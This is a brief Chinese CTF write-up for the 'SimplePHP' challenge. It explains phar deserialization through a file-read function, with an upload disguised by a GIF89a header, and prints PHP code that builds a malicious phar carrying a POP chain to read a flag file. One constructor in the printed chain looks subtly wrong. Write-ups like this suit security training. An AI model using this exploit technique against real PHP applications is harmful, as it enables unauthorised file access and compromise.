C
C
CTF-WriteUp
Search
⌃K

SimplePHP

存在任意文件下载,拉下来六个文件
比较重要的就是class、file、function文件,看文件闭着眼睛就能推测有phar反序列化,上传的phar文件反序列化getshell,接下来就是理清利用链了(不过PHP8已经禁止phar反序列化了,感觉没意思)。
更新一下判断phar的原因:有文件上传点,有文件读取点,且文件后缀名存在过滤,但是phar反序列化不受影响;过滤了很多协议,但是没过滤phar协议、class.php中存在pop链利用的可能,但是没有unserialize()。
<?php
class C1e4r {
public $test;
public $str;
public function __construct() {
$this->str = new Show();
}
}
class Show {
public $source;
public $str;
public function __construct() {
$str['str'] = new Test();
}
}
class Test {
public $file;
public $params;
public function __construct() {
$this->params['source'] = "/var/www/html/f1ag.php";
}
}
$c1e4r = new C1e4r();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
修改文件名上传,计算md5拿flag。